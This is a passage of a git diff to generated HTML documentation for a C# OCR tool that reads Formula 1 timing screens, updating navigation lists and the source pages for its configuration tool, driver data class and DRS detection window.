  • -
  • DriverData.cs
  • - - DriverLapTimeWindow.cs + + DriverGapToLeaderWindow.cs + +
  • +
  • + + DriverNameWindow.cs
  • @@ -213,13 +193,28 @@
  • + + F1TVEmulator.cs + +
  • +
  • Form1.cs
  • - - Reader.cs + + Program.cs + +
  • +
  • + + Settings.Designer.cs + +
  • +
  • + + SqliteStorage.cs
  • @@ -228,13 +223,23 @@
  • + + DataWrapper.cs + +
  • +
  • DriverDrsWindow.cs
  • - - DriverNameWindow.cs + + DriverLapTimeWindow.cs + +
  • +
  • + + DriverPositionWindow.cs
  • @@ -248,11 +253,21 @@
  • + + Reader.cs + +
  • +
  • Settings.cs
  • + + Window.cs + +
  • +
  • recoverCookiesCSV.py diff --git a/site/Code/ConfigurationTool.html b/site/Code/ConfigurationTool.html index d54b4d7..aaca746 100644 --- a/site/Code/ConfigurationTool.html +++ b/site/Code/ConfigurationTool.html @@ -136,38 +136,18 @@
  • - - DriverGapToLeaderWindow.cs - -
  • -
  • - - DriverPositionWindow.cs - -
  • -
  • - - F1TVEmulator.cs - -
  • -
  • - - Program.cs - -
  • -
  • - - Window.cs - -
  • -
  • DriverData.cs
  • - - DriverLapTimeWindow.cs + + DriverGapToLeaderWindow.cs + +
  • +
  • + + DriverNameWindow.cs
  • @@ -176,13 +156,28 @@
  • + + F1TVEmulator.cs + +
  • +
  • Form1.cs
  • - - Reader.cs + + Program.cs + +
  • +
  • + + Settings.Designer.cs + +
  • +
  • + + SqliteStorage.cs
  • @@ -191,13 +186,23 @@
  • + + DataWrapper.cs + +
  • +
  • DriverDrsWindow.cs
  • - - DriverNameWindow.cs + + DriverLapTimeWindow.cs + +
  • +
  • + + DriverPositionWindow.cs
  • @@ -211,11 +216,21 @@
  • + + Reader.cs + +
  • +
  • Settings.cs
  • + + Window.cs + +
  • +
  • recoverCookiesCSV.py @@ -239,201 +254,268 @@

    ConfigurationTool.cs

    -
    /// Author : Maxime Rohmer
    -/// Date : 08/05/2023
    -/// File : ConfigurationTool.cs
    -/// Brief : Class that contains all the methods needed to create a config file for the OCR
    -/// Version : 0.1
    -
    -using System;
    -using System.Collections.Generic;
    -using System.Drawing;
    -using System.Linq;
    -using System.Text;
    -using System.Threading.Tasks;
    -using Tesseract;
    -using System.IO;
    -
    -namespace Test_Merge
    -{
    -    public class ConfigurationTool
    -    {
    -        public Zone MainZone;
    -        public const int NUMBER_OF_DRIVERS = 20;
    -        public const int NUMBER_OF_ZONES = 9;
    -        public const string CONFIGS_FOLDER_NAME = "./Presets/";
    -
    -        public ConfigurationTool(Bitmap fullImage, Rectangle mainZoneDimensions)
    -        {
    -            MainZone = new Zone(fullImage, mainZoneDimensions,"Main");
    -            AutoCalibrate();
    -        }
    -        public void ResetMainZone()
    -        {
    -            MainZone.ResetZones();
    -        }
    -        public void ResetWindows()
    -        {
    -            MainZone.ResetWindows();
    -        }
    -        public void SaveToJson(List<string> drivers, string configName)
    -        {
    -            string JSON = "";
    -
    -            JSON += "{" + Environment.NewLine;
    -            JSON += MainZone.ToJSON() + "," + Environment.NewLine;
    -            JSON += "\"Drivers\":[" + Environment.NewLine;
    -
    -            for (int i = 0; i < drivers.Count; i++)
    -            {
    -                JSON += "\"" + drivers[i] + "\"";
    -                if (i < drivers.Count - 1)
    -                    JSON += ",";
    -                JSON += Environment.NewLine;
    -            }
    -
    -            JSON += "]" + Environment.NewLine;
    -
    -            JSON += "}";
    -
    -            if (!Directory.Exists(CONFIGS_FOLDER_NAME))
    -                Directory.CreateDirectory(CONFIGS_FOLDER_NAME);
    -
    -            string path = CONFIGS_FOLDER_NAME + configName;
    -
    -            if (File.Exists(path + ".json"))
    -            {
    -                //We need to create a new name
    -                int count = 2;
    -                while (File.Exists(path + "_" + count + ".json"))
    -                {
    -                    count++;
    -                }
    -                path += "_" + count + ".json";
    -            }
    -            else
    -            {
    -                path += ".json";
    -            }
    -
    -            File.WriteAllText(path, JSON);
    -        }
    -        public void AddWindows(List<Rectangle> rectangles)
    -        {
    -            foreach (Zone driverZone in MainZone.Zones)
    -            {
    -                Bitmap zoneImage = driverZone.ZoneImage;
    -
    -                for (int i = 1; i <= rectangles.Count; i++)
    -                {
    -                    switch (i)
    -                    {
    -                        case 1:
    -                            //First zone should be the driver's Position
    -                            driverZone.AddWindow(new DriverPositionWindow(driverZone.ZoneImage, rectangles[i - 1], false));
    -                            break;
    -                        case 2:
    -                            //First zone should be the Gap to leader
    -                            driverZone.AddWindow(new DriverGapToLeaderWindow(driverZone.ZoneImage, rectangles[i - 1], false));
    -                            break;
    -                        case 3:
    -                            //First zone should be the driver's Lap Time
    -                            driverZone.AddWindow(new DriverLapTimeWindow(driverZone.ZoneImage, rectangles[i - 1], false));
    -                            break;
    -                        case 4:
    -                            //First zone should be the driver's DRS status
    -                            driverZone.AddWindow(new DriverDrsWindow(driverZone.ZoneImage, rectangles[i - 1], false));
    -                            break;
    -                        case 5:
    -                            //First zone should be the driver's Tyre's informations
    -                            driverZone.AddWindow(new DriverTyresWindow(driverZone.ZoneImage, rectangles[i - 1], false));
    -                            break;
    -                        case 6:
    -                            //First zone should be the driver's Name
    -                            driverZone.AddWindow(new DriverNameWindow(driverZone.ZoneImage, rectangles[i - 1], false));
    -                            break;
    -                        case 7:
    -                            //First zone should be the driver's First Sector
    -                            driverZone.AddWindow(new DriverSectorWindow(driverZone.ZoneImage, rectangles[i - 1], 1, false));
    -                            break;
    -                        case 8:
    -                            //First zone should be the driver's Second Sector
    -                            driverZone.AddWindow(new DriverSectorWindow(driverZone.ZoneImage, rectangles[i - 1], 2, false));
    -                            break;
    -                        case 9:
    -                            //First zone should be the driver's Position Sector
    -                            driverZone.AddWindow(new DriverSectorWindow(driverZone.ZoneImage, rectangles[i - 1], 3, false));
    -                            break;
    -                    }
    -                }
    -            }
    -        }
    -        public void AutoCalibrate()
    -        {
    -            List<Rectangle> detectedText = new List<Rectangle>();
    -            List<Zone> zones = new List<Zone>();
    -
    -            TesseractEngine engine = new TesseractEngine(Window.TESS_DATA_FOLDER.FullName, "eng", EngineMode.Default);
    -            Image image = MainZone.ZoneImage;
    -            var tessImage = Pix.LoadFromMemory(Window.ImageToByte(image));
    -
    -            Page page = engine.Process(tessImage);
    -            using (var iter = page.GetIterator())
    -            {
    -                iter.Begin();
    -                do
    -                {
    -                    Rect boundingBox;
    -                    if (iter.TryGetBoundingBox(PageIteratorLevel.Word, out boundingBox))
    -                    {
    -                        //var text = iter.GetText(PageIteratorLevel.Word).ToUpper();
    -                        //We remove all the rectangles that are definitely too big
    -                        if (boundingBox.Height < image.Height / NUMBER_OF_DRIVERS)
    -                        {
    -                            //Now we add a filter to only get the boxes in the right because they are much more reliable in size
    -                            if (boundingBox.X1 > image.Width / 2)
    -                            {
    -                                //Now we check if an other square box has been found roughly in the same y axis
    -                                bool match = false;
    -                                //The tolerance is roughly half the size that a window will be
    -                                int tolerance = (image.Height / NUMBER_OF_DRIVERS) / 2;
    -
    -                                foreach (Rectangle rect in detectedText)
    -                                {
    -                                    if (rect.Y > boundingBox.Y1 - tolerance && rect.Y < boundingBox.Y1 + tolerance)
    -                                    {
    -                                        //There already is a rectangle in this line
    -                                        match = true;
    -                                    }
    -                                }
    -                                //if nothing matched we can add it
    -                                if (!match)
    -                                    detectedText.Add(new Rectangle(boundingBox.X1, boundingBox.Y1, boundingBox.Width, boundingBox.Height));
    -                            }
    -                        }
    -                    }
    -                } while (iter.Next(PageIteratorLevel.Word));
    -            }
    -            //DEBUG
    -            int i = 1;
    -            foreach (Rectangle Rectangle in detectedText)
    -            {
    -                Rectangle windowRectangle;
    -                Size windowSize = new Size(image.Width, image.Height / NUMBER_OF_DRIVERS);
    -                Point windowLocation = new Point(0, (Rectangle.Y + Rectangle.Height / 2) - windowSize.Height / 2);
    -                windowRectangle = new Rectangle(windowLocation, windowSize);
    -                //We add the driver zones
    -                Zone driverZone = new Zone(MainZone.ZoneImage, windowRectangle, "DriverZone");
    -                MainZone.AddZone(driverZone);
    -
    -                driverZone.ZoneImage.Save("Driver" + i+".png");
    -                i++;
    -            }
    -        }
    -    }
    -}
    -
    -
    +
    /// Author : Maxime Rohmer
    +/// Date : 30/05/2023
    +/// File : ConfigurationTool.cs
    +/// Brief : Class that contains all the methods used to create config files for the main programm
    +/// Version : Alpha 1.0
    +
    +using System;
    +using System.Collections.Generic;
    +using System.Drawing;
    +using System.Linq;
    +using System.Text;
    +using System.Threading.Tasks;
    +using Tesseract;
    +using System.IO;
    +using System.Text.Json;
    +using System.Text.Json.Nodes;
    +
    +namespace TrackTrends
    +{
    +    public class ConfigurationTool
    +    {
    +        public Zone MainZone;
    +        public const int NUMBER_OF_DRIVERS = 20;
    +        public const int NUMBER_OF_ZONES = 9;
    +        public const string CONFIGS_FOLDER_NAME = "./Presets/";
    +        /// <summary>
    +        /// Creates the configuration tool. It can only be created if you already have the dimensions of the main zone
    +        /// </summary>
    +        /// <param name="fullImage">The full image coming from the F1TV Data Channel</param>
    +        /// <param name="mainZoneDimensions">The dimensions of the zone where all the drivers data are situated</param>
    +        public ConfigurationTool(Bitmap fullImage, Rectangle mainZoneDimensions)
    +        {
    +            MainZone = new Zone(fullImage, mainZoneDimensions,"Main");
    +            AutoCalibrate();
    +        }
    +        /// <summary>
    +        /// Resets the main zone
    +        /// </summary>
    +        public void ResetMainZone()
    +        {
    +            MainZone.ResetZones();
    +        }
    +        /// <summary>
    +        /// Reset the windows
    +        /// </summary>
    +        public void ResetWindows()
    +        {
    +            MainZone.ResetWindows();
    +        }
    +        /// <summary>
    +        /// Save the current config in a JSON file stored in /Presets/
    +        /// </summary>
    +        /// <param name="drivers">A list of all the drivers in the GP. IMPORTANT, they need to ALL be mentionned or the program wont be able to detect the missing ones and will F up everything</param>
    +        /// <param name="configName">The name the config should have</param>
    +        public void SaveToJson(List<string> drivers, string configName)
    +        {
    +            string JSON = "";
    +
    +            JsonObject jsonFileObject = new JsonObject();
    +
    +            //Creates the mainZone object
    +            JsonObject mainZoneObject = new JsonObject();
    +
    +            mainZoneObject.Add("x",MainZone.Bounds.X);
    +            mainZoneObject.Add("y",MainZone.Bounds.Y);
    +            mainZoneObject.Add("width",MainZone.Bounds.Width);
    +            mainZoneObject.Add("height",MainZone.Bounds.Height);
    +
    +            JsonArray driverZonesArray = new JsonArray();
    +
    +            //Creates all the subzones that contain driver infos
    +            int DriverID = 0;
    +            foreach (Zone driverZone in MainZone.Zones)
    +            {
    +                DriverID++;
    +                JsonObject driverZoneObject = new JsonObject();
    +                driverZoneObject.Add("name","Driver"+DriverID);
    +                driverZoneObject.Add("x", driverZone.Bounds.X);
    +                driverZoneObject.Add("y", driverZone.Bounds.Y);
    +                driverZoneObject.Add("width", driverZone.Bounds.Width);
    +                driverZoneObject.Add("height", driverZone.Bounds.Height);
    +
    +                JsonArray windowsArray = new JsonArray();
    +                JsonObject windowObject = new JsonObject();
    +
    +                //Creates all the windows of the current driver zone
    +                //Note : We store ALL the windows and zones in the JSON because they are not spaced exactly the same on the main zone
    +                foreach (Window window in driverZone.Windows)
    +                {
    +                    windowObject.Add(window.Name, new JsonObject {
    +                        { "x", window.Bounds.X },
    +                        { "y", window.Bounds.Y },
    +                        { "width", window.Bounds.Width },
    +                        { "height", window.Bounds.Height }
    +                    });
    +                }
    +                windowsArray.Add(windowObject);
    +
    +                driverZoneObject.Add("Windows",windowsArray);
    +
    +                driverZonesArray.Add(driverZoneObject);
    +            }
    +
    +            mainZoneObject.Add("DriverZones",driverZonesArray);
    +
    +            JsonArray driversArray = new JsonArray();
    +
    +            foreach (string driver in drivers)
    +            {
    +                driversArray.Add(driver);
    +            }
    +
    +            mainZoneObject.Add("Drivers",driversArray);
    +
    +            jsonFileObject.Add("Main",mainZoneObject);
    +
    +            JSON = jsonFileObject.ToString();
    +
    +            //Saving the file
    +            string path = CONFIGS_FOLDER_NAME + configName;
    +
    +            if (File.Exists(path + ".json"))
    +            {
    +                //We need to create a new name
    +                int count = 2;
    +                while (File.Exists(path + "_" + count + ".json"))
    +                {
    +                    count++;
    +                }
    +                path += "_" + count + ".json";
    +            }
    +            else
    +            {
    +                path += ".json";
    +            }
    +
    +            File.WriteAllText(path, JSON);
    +        }
    +        /// <summary>
    +        /// Adds a window in the windows list
    +        /// Be carefull of the order. It cant be random or it will crash. The programm expect the first to be position, second Gap to leader etc...
    +        /// </summary>
    +        /// <param name="rectangles">The bounds of the window</param>
    +        public void AddWindows(List<Rectangle> rectangles)
    +        {
    +            foreach (Zone driverZone in MainZone.Zones)
    +            {
    +                Bitmap zoneImage = driverZone.ZoneImage;
    +
    +                for (int i = 1; i <= rectangles.Count; i++)
    +                {
    +                    switch (i)
    +                    {
    +                        case 1:
    +                            //First zone should be the driver's Position
    +                            driverZone.AddWindow(new DriverPositionWindow(driverZone.ZoneImage, rectangles[i - 1], false));
    +                            break;
    +                        case 2:
    +                            //Second zone should be the Gap to leader
    +                            driverZone.AddWindow(new DriverGapToLeaderWindow(driverZone.ZoneImage, rectangles[i - 1], false));
    +                            break;
    +                        case 3:
    +                            //Third zone should be the driver's Lap Time
    +                            driverZone.AddWindow(new DriverLapTimeWindow(driverZone.ZoneImage, rectangles[i - 1], false));
    +                            break;
    +                        case 4:
    +                            //Fourth zone should be the driver's DRS status
    +                            driverZone.AddWindow(new DriverDrsWindow(driverZone.ZoneImage, rectangles[i - 1], false));
    +                            break;
    +                        case 5:
    +                            //Fifth zone should be the driver's Tyre's informations
    +                            driverZone.AddWindow(new DriverTyresWindow(driverZone.ZoneImage, rectangles[i - 1], false));
    +                            break;
    +                        case 6:
    +                            //Sixth zone should be the driver's Name
    +                            driverZone.AddWindow(new DriverNameWindow(driverZone.ZoneImage, rectangles[i - 1], false));
    +                            break;
    +                        case 7:
    +                            //Seventh zone should be the driver's First Sector
    +                            driverZone.AddWindow(new DriverSectorWindow(driverZone.ZoneImage, rectangles[i - 1], 1, false));
    +                            break;
    +                        case 8:
    +                            //Zone number eight should be the driver's Second Sector
    +                            driverZone.AddWindow(new DriverSectorWindow(driverZone.ZoneImage, rectangles[i - 1], 2, false));
    +                            break;
    +                        case 9:
    +                            //Zone number nine should be the driver's Position Sector
    +                            driverZone.AddWindow(new DriverSectorWindow(driverZone.ZoneImage, rectangles[i - 1], 3, false));
    +                            break;
    +                    }
    +                }
    +            }
    +        }
    +        /// <summary>
    +        /// This will automatically create all the driver zones at the correct places if the main zone has been weel positionned
    +        /// You cant just divide the image by the number of pilots or it will be messy and inconsistent at the end (Garbage in Garbage Out)
    +        /// </summary>
    +        public void AutoCalibrate()
    +        {
    +            List<Rectangle> detectedText = new List<Rectangle>();
    +            List<Zone> zones = new List<Zone>();
    +
    +            TesseractEngine engine = new TesseractEngine(Window.TESS_DATA_FOLDER.FullName, "eng", EngineMode.Default);
    +            Image image = MainZone.ZoneImage;
    +            var tessImage = Pix.LoadFromMemory(Window.ImageToByte(image));
    +
    +            Page page = engine.Process(tessImage);
    +            //Runs a quick OCR detection. Not to detect any content but just to detect where is all the text positionned.
    +            //For each row it decides the best Zone location and adds it to the Driver zone list
    +            using (var iter = page.GetIterator())
    +            {
    +                iter.Begin();
    +                do
    +                {
    +                    Rect boundingBox;
    +                    if (iter.TryGetBoundingBox(PageIteratorLevel.Word, out boundingBox))
    +                    {
    +                        //We remove all the rectangles that are definitely too big
    +                        if (boundingBox.Height < image.Height / NUMBER_OF_DRIVERS)
    +                        {
    +                            //Now we add a filter to only get the boxes in the right because they are much more reliable in size
    +                            if (boundingBox.X1 > image.Width / 2)
    +                            {
    +                                //Now we check if an other square box has been found roughly in the same y axis
    +                                bool match = false;
    +                                //The tolerance is roughly half the size that a window will be
    +                                int tolerance = (image.Height / NUMBER_OF_DRIVERS) / 2;
    +
    +                                foreach (Rectangle rect in detectedText)
    +                                {
    +                                    if (rect.Y > boundingBox.Y1 - tolerance && rect.Y < boundingBox.Y1 + tolerance)
    +                                    {
    +                                        //There already is a rectangle in this line
    +                                        match = true;
    +                                    }
    +                                }
    +                                //if nothing matched we can add it
    +                                if (!match)
    +                                    detectedText.Add(new Rectangle(boundingBox.X1, boundingBox.Y1, boundingBox.Width, boundingBox.Height));
    +                            }
    +                        }
    +                    }
    +                } while (iter.Next(PageIteratorLevel.Word));
    +            }
    +            //DEBUG
    +            int i = 1;
    +            foreach (Rectangle Rectangle in detectedText)
    +            {
    +                Rectangle windowRectangle;
    +                Size windowSize = new Size(image.Width, image.Height / NUMBER_OF_DRIVERS);
    +                Point windowLocation = new Point(0, (Rectangle.Y + Rectangle.Height / 2) - windowSize.Height / 2);
    +                windowRectangle = new Rectangle(windowLocation, windowSize);
    +                //We add the driver zones
    +                Zone driverZone = new Zone(MainZone.ZoneImage, windowRectangle, "DriverZone");
    +                MainZone.AddZone(driverZone);
    +                //driverZone.ZoneImage.Save("Driver" + i+".png");
    +                i++;
    +            }
    +        }
    +    }
    +}
    +
    @@ -453,13 +535,13 @@ namespace Test_Merge -
  • -
  • - - DriverGapToLeaderWindow.cs - -
  • -
  • - - DriverPositionWindow.cs - -
  • -
  • - - F1TVEmulator.cs - -
  • -
  • - - Program.cs - -
  • -
  • - - Window.cs - -
  • @@ -166,8 +141,13 @@
  • - - DriverLapTimeWindow.cs + + DriverGapToLeaderWindow.cs + +
  • +
  • + + DriverNameWindow.cs
  • @@ -176,13 +156,28 @@
  • + + F1TVEmulator.cs + +
  • +
  • Form1.cs
  • - - Reader.cs + + Program.cs + +
  • +
  • + + Settings.Designer.cs + +
  • +
  • + + SqliteStorage.cs
  • @@ -191,13 +186,23 @@
  • + + DataWrapper.cs + +
  • +
  • DriverDrsWindow.cs
  • - - DriverNameWindow.cs + + DriverLapTimeWindow.cs + +
  • +
  • + + DriverPositionWindow.cs
  • @@ -211,11 +216,21 @@
  • + + Reader.cs + +
  • +
  • Settings.cs
  • + + Window.cs + +
  • +
  • recoverCookiesCSV.py @@ -239,117 +254,119 @@

    DriverData.cs

    -
    /// Author : Maxime Rohmer
    -/// Date : 08/05/2023
    -/// File : DriverData.cs
    -/// Brief : Class used to store Driver informations
    -/// Version : 0.1
    -
    -using System;
    -using System.Collections.Generic;
    -using System.Linq;
    -using System.Text;
    -using System.Threading.Tasks;
    -
    -namespace Test_Merge
    -{
    -    public class DriverData
    -    {
    -        public bool DRS;        //True = Drs is opened
    -        public int GapToLeader; //In ms
    -        public int LapTime;     //In ms
    -        public string Name;     //Ex: LECLERC
    -        public int Position;    //Ex: 1
    -        public int Sector1;     //in ms
    -        public int Sector2;     //in ms
    -        public int Sector3;     //in ms
    -        public Tyre CurrentTyre;//Ex Soft 11 laps
    -
    -        public DriverData(bool dRS, int gapToLeader, int lapTime, string name, int position, int sector1, int sector2, int sector3, Tyre tyre)
    -        {
    -            DRS = dRS;
    -            GapToLeader = gapToLeader;
    -            LapTime = lapTime;
    -            Name = name;
    -            Position = position;
    -            Sector1 = sector1;
    -            Sector2 = sector2;
    -            Sector3 = sector3;
    -            CurrentTyre = tyre;
    -        }
    -        public DriverData()
    -        {
    -            DRS = false;
    -            GapToLeader = -1;
    -            LapTime = -1;
    -            Name = "Unknown";
    -            Position = -1;
    -            Sector1 = -1;
    -            Sector2 = -1;
    -            Sector3 = -1;
    -            CurrentTyre = new Tyre(Tyre.Type.Undefined, -1);
    -        }
    -        /// <summary>
    -        /// Method that displays all the data found in a string
    -        /// </summary>
    -        /// <returns>string containing all the driver datas</returns>
    -        public override string ToString()
    -        {
    -            string result = "";
    -
    -            //Position
    -            result += "Position : " + Position + Environment.NewLine;
    -            //Gap
    -            result += "GapToLeader : " + Reader.ConvertMsToTime(GapToLeader) + Environment.NewLine;
    -            //LapTime
    -            result += "LapTime : " + Reader.ConvertMsToTime(LapTime) + Environment.NewLine;
    -            //DRS
    -            result += "DRS : " + DRS + Environment.NewLine;
    -            //Tyres
    -            result += "Uses " + CurrentTyre.Coumpound + " tyre " + CurrentTyre.NumberOfLaps + " laps old" + Environment.NewLine;
    -            //Name
    -            result += "DriverName : " + Name + Environment.NewLine;
    -            //Sector 1
    -            result += "Sector1 : " + Reader.ConvertMsToTime(Sector1) + Environment.NewLine;
    -            //Sector 1
    -            result += "Sector2 : " + Reader.ConvertMsToTime(Sector2) + Environment.NewLine;
    -            //Sector 1
    -            result += "Sector3 : " + Reader.ConvertMsToTime(Sector3) + Environment.NewLine;
    -
    -            return result;
    -        }
    -    }
    -    //Structure to store tyres infos
    -    public struct Tyre
    -    {
    -        //If new tyres were to be added you will have to need to change this enum
    -        public enum Type
    -        {
    -            Soft,
    -            Medium,
    -            Hard,
    -            Inter,
    -            Wet,
    -            Undefined
    -        }
    -        public Type Coumpound;
    -        public int NumberOfLaps;
    -        public Tyre(Type type, int laps)
    -        {
    -            Coumpound = type;
    -            NumberOfLaps = laps;
    -        }
    -    }
    -}
    -
    -
    +
    /// Author : Maxime Rohmer
    +/// Date : 30/05/2023
    +/// File : DriverData.cs
    +/// Brief : File containing classes that behave just like structures to store data about drivers 
    +/// Version : Alpha 1.0
    +
    +using System;
    +using System.Collections.Generic;
    +using System.Linq;
    +using System.Text;
    +using System.Threading.Tasks;
    +
    +namespace TrackTrends
    +{
    +    public class DriverData
    +    {
    +        public bool DRS;        //True = Drs is opened
    +        public int GapToLeader; //In ms
    +        public int LapTime;     //In ms
    +        public string Name;     //Ex: LECLERC
    +        public int Position;    //Ex: 1
    +        public int Sector1;     //in ms
    +        public int Sector2;     //in ms
    +        public int Sector3;     //in ms
    +        public Tyre CurrentTyre;//Ex Soft 11 laps
    +
    +        public DriverData(bool dRS, int gapToLeader, int lapTime, string name, int position, int sector1, int sector2, int sector3, Tyre tyre)
    +        {
    +            DRS = dRS;
    +            GapToLeader = gapToLeader;
    +            LapTime = lapTime;
    +            Name = name;
    +            Position = position;
    +            Sector1 = sector1;
    +            Sector2 = sector2;
    +            Sector3 = sector3;
    +            CurrentTyre = tyre;
    +        }
    +        /// <summary>
    +        /// Creates a default driver data with empty values
    +        /// </summary>
    +        public DriverData()
    +        {
    +            DRS = false;
    +            GapToLeader = -1;
    +            LapTime = -1;
    +            Name = "Unknown";
    +            Position = -1;
    +            Sector1 = -1;
    +            Sector2 = -1;
    +            Sector3 = -1;
    +            CurrentTyre = new Tyre(Tyre.Type.Undefined, -1);
    +        }
    +        /// <summary>
    +        /// Method that displays all the data found in a string
    +        /// </summary>
    +        /// <returns>string containing all the driver datas</returns>
    +        public override string ToString()
    +        {
    +            string result = "";
    +
    +            //Position
    +            result += "Position : " + Position + Environment.NewLine;
    +            //Gap
    +            result += "GapToLeader : " + Reader.ConvertMsToTime(GapToLeader) + Environment.NewLine;
    +            //LapTime
    +            result += "LapTime : " + Reader.ConvertMsToTime(LapTime) + Environment.NewLine;
    +            //DRS
    +            result += "DRS : " + DRS + Environment.NewLine;
    +            //Tyres
    +            result += "Uses " + CurrentTyre.Coumpound + " tyre " + CurrentTyre.NumberOfLaps + " laps old" + Environment.NewLine;
    +            //Name
    +            result += "DriverName : " + Name + Environment.NewLine;
    +            //Sector 1
    +            result += "Sector1 : " + Reader.ConvertMsToTime(Sector1) + Environment.NewLine;
    +            //Sector 1
    +            result += "Sector2 : " + Reader.ConvertMsToTime(Sector2) + Environment.NewLine;
    +            //Sector 1
    +            result += "Sector3 : " + Reader.ConvertMsToTime(Sector3) + Environment.NewLine;
    +
    +            return result;
    +        }
    +    }
    +    //Structure to store tyres infos
    +    public struct Tyre
    +    {
    +        //If new tyres were to be added you will have to need to change this enum
    +        public enum Type
    +        {
    +            Soft,
    +            Medium,
    +            Hard,
    +            Inter,
    +            Wet,
    +            Undefined
    +        }
    +        public Type Coumpound;
    +        public int NumberOfLaps;
    +        public Tyre(Type type, int laps)
    +        {
    +            Coumpound = type;
    +            NumberOfLaps = laps;
    +        }
    +    }
    +}
    +
  • - - DriverGapToLeaderWindow.cs - -
  • -
  • - - DriverPositionWindow.cs - -
  • -
  • - - F1TVEmulator.cs - -
  • -
  • - - Program.cs - -
  • -
  • - - Window.cs - -
  • -
  • DriverData.cs
  • - - DriverLapTimeWindow.cs + + DriverGapToLeaderWindow.cs + +
  • +
  • + + DriverNameWindow.cs
  • @@ -175,13 +155,28 @@
  • + + F1TVEmulator.cs + +
  • +
  • Form1.cs
  • - - Reader.cs + + Program.cs + +
  • +
  • + + Settings.Designer.cs + +
  • +
  • + + SqliteStorage.cs
  • @@ -189,6 +184,11 @@ Zone.cs
  • +
  • + + DataWrapper.cs + +
  • @@ -196,8 +196,13 @@
  • - - DriverNameWindow.cs + + DriverLapTimeWindow.cs + +
  • +
  • + + DriverPositionWindow.cs
  • @@ -211,11 +216,21 @@
  • + + Reader.cs + +
  • +
  • Settings.cs
  • + + Window.cs + +
  • +
  • recoverCookiesCSV.py @@ -239,113 +254,128 @@

    DriverDrsWindow.cs

    -
    /// Author : Maxime Rohmer
    -/// Date : 08/05/2023
    -/// File : DriverDrsWindow.cs
    -/// Brief : Window containing DRS related method and infos
    -/// Version : 0.1
    -
    -using System;
    -using System.Collections.Generic;
    -using System.Drawing;
    -using System.Drawing.Imaging;
    -using System.Linq;
    -using System.Text;
    -using System.Threading.Tasks;
    -using Tesseract;
    -
    -namespace Test_Merge
    -{
    -    internal class DriverDrsWindow:Window
    -    {
    -        private static int EmptyDrsGreenValue = -1;
    -        private static Random rnd = new Random();
    -        public DriverDrsWindow(Bitmap image, Rectangle bounds,bool generateEngine = true) : base(image, bounds,generateEngine)
    -        {
    -            Name = "DRS";
    -        }
    -        public override async Task<object> DecodePng()
    -        {
    -            bool result = false;
    -            int greenValue = GetGreenPixels();
    -            if (EmptyDrsGreenValue == -1)
    -                EmptyDrsGreenValue = greenValue;
    -
    -            if (greenValue > EmptyDrsGreenValue + EmptyDrsGreenValue / 100 * 30)
    -                result = true;
    -
    -            return result;
    -        }
    -        private unsafe int GetGreenPixels()
    -        {
    -            int tot = 0;
    -
    -            Bitmap bmp = WindowImage;
    -            Rectangle rect = new Rectangle(0, 0, bmp.Width, bmp.Height);
    -            BitmapData bmpData = bmp.LockBits(rect, ImageLockMode.ReadOnly, bmp.PixelFormat);
    -            int bytesPerPixel = Bitmap.GetPixelFormatSize(bmp.PixelFormat) / 8;
    -
    -            unsafe
    -            {
    -                byte* ptr = (byte*)bmpData.Scan0.ToPointer();
    -                for (int y = 0; y < bmp.Height; y++)
    -                {
    -                    byte* currentLine = ptr + (y * bmpData.Stride);
    -                    for (int x = 0; x < bmp.Width; x++)
    -                    {
    -                        byte* pixel = currentLine + (x * bytesPerPixel);
    -
    -                        byte blue = pixel[0];
    -                        byte green = pixel[1];
    -                        byte red = pixel[2];
    -
    -                        if (green > blue * 1.5 && green > red * 1.5)
    -                        {
    -                            tot++;
    -                        }
    -                    }
    -                }
    -            }
    -            bmp.UnlockBits(bmpData);
    -
    -            return tot;
    -        }
    -        public Rectangle GetBox()
    -        {
    -            var tessImage = Pix.LoadFromMemory(ImageToByte(WindowImage));
    -            Engine.SetVariable("tessedit_char_whitelist", "");
    -            Page page = Engine.Process(tessImage);
    -
    -            using (var iter = page.GetIterator())
    -            {
    -                iter.Begin();
    -                do
    -                {
    -                    Rect boundingBox;
    -
    -                    // Get the bounding box for the current element
    -                    if (iter.TryGetBoundingBox(PageIteratorLevel.Word, out boundingBox))
    -                    {
    -                        page.Dispose();
    -                        return new Rectangle(boundingBox.X1, boundingBox.X2, boundingBox.Width, boundingBox.Height);
    -                    }
    -                } while (iter.Next(PageIteratorLevel.Word));
    -
    -                page.Dispose();
    -                return new Rectangle(0, 0, 0, 0);
    -            }
    -        }
    -    }
    -}
    -
    -
    +
    /// Author : Maxime Rohmer
    +/// Date : 30/05/2023
    +/// File : DriverDrsWindow.cs
    +/// Brief : Window containing DRS related method and infos
    +/// Version : Alpha 1.0
    +
    +using System;
    +using System.Collections.Generic;
    +using System.Drawing;
    +using System.Drawing.Imaging;
    +using System.Linq;
    +using System.Text;
    +using System.Threading.Tasks;
    +using Tesseract;
    +
    +namespace TrackTrends
    +{
    +    public class DriverDrsWindow:Window
    +    {
    +        private static int EmptyDrsGreenValue = -1;
    +        private static Random rnd = new Random();
    +        public DriverDrsWindow(Bitmap image, Rectangle bounds,bool generateEngine = true) : base(image, bounds,generateEngine)
    +        {
    +            Name = "DRS";
    +        }
    +        /// <summary>
    +        /// Method that will decode the content of the window
    +        /// </summary>
    +        /// <returns>returns a boolean (true = DRS OPEN, false = DRS CLOSED)</returns>
    +        public override object DecodePng()
    +        {
    +            bool result = false;
    +
    +            //DEBUG
    +            //WindowImage.Save("./DRS/"+rnd.Next(0,99999)+".png");
    +
    +            int greenValue = GetGreenPixels();
    +            if (EmptyDrsGreenValue == -1)
    +                EmptyDrsGreenValue = greenValue;
    +
    +            if (greenValue > EmptyDrsGreenValue + EmptyDrsGreenValue / 100 * 30)
    +                result = true;
    +
    +            return result;
    +        }
    +        /// <summary>
    +        /// Method that will get the green pixel proportion in the image, this can be used to determin if the DRS has been actuated
    +        /// </summary>
    +        /// <returns>The number of clearely green pixels</returns>
    +        private unsafe int GetGreenPixels()
    +        {
    +            int tot = 0;
    +
    +            Bitmap bmp = WindowImage;
    +            Rectangle rect = new Rectangle(0, 0, bmp.Width, bmp.Height);
    +            BitmapData bmpData = bmp.LockBits(rect, ImageLockMode.ReadOnly, bmp.PixelFormat);
    +            int bytesPerPixel = Bitmap.GetPixelFormatSize(bmp.PixelFormat) / 8;
    +
    +            unsafe
    +            {
    +                byte* ptr = (byte*)bmpData.Scan0.ToPointer();
    +                for (int y = 0; y < bmp.Height; y++)
    +                {
    +                    byte* currentLine = ptr + (y * bmpData.Stride);
    +                    for (int x = 0; x < bmp.Width; x++)
    +                    {
    +                        byte* pixel = currentLine + (x * bytesPerPixel);
    +
